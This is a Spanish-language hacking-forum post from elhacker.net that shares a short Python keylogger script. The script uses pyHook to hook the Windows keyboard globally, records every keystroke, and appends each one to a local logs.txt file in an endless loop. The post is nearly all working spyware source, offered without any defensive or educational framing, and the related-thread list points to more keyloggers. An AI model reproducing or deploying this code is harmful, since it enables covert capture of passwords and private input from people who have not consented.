elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Simple Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Simple Keylogger  (Leído 4,052 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] Simple Keylogger
« en: 7 Octubre 2011, 01:38 am »

Un simple keylogger en Python

Código
  1. #!usr/bin/python
  2. #Simple Keylogger in Python
  3. #(C) Doddy Hackman 2011
  4.  
  5. import pyHook,pythoncom
  6.  
  7.  
  8. def savefile(name,text):
  9. file = open(name,"a")
  10. file.write(text+"\n")
  11. file.close()
  12.  
  13. def toma(frase):
  14. savefile("logs.txt",frase.Key)
  15.  
  16. def capturar():
  17. nave = pyHook.HookManager()
  18. nave.KeyDown = toma
  19. nave.HookKeyboard()
  20. pythoncom.PumpMessages()
  21.  
  22. while 1:
  23. capturar()
  24.  
  25. # The End


« Última modificación: 8 Octubre 2011, 19:07 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Kaley, Keylogger simple en Python
Scripting
Fyrox 0 7,168 Último mensaje 21 Septiembre 2011, 23:24 pm
por Fyrox
[Ruby] Simple Keylogger
Scripting
BigBear 0 3,829 Último mensaje 7 Octubre 2011, 01:30 am
por BigBear
[Python] Simple Crack Hash
Scripting
BigBear 0 2,464 Último mensaje 16 Octubre 2011, 02:51 am
por BigBear
Necesito keylogger simple, compatible win7 y freeware
Dudas Generales
frankener1986 1 2,619 Último mensaje 14 Noviembre 2012, 17:15 pm
por Stakewinner00
Keylogger simple para windows 7
Software
Crazy 6 2,043 Último mensaje 21 Agosto 2013, 16:41 pm
por Crazy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines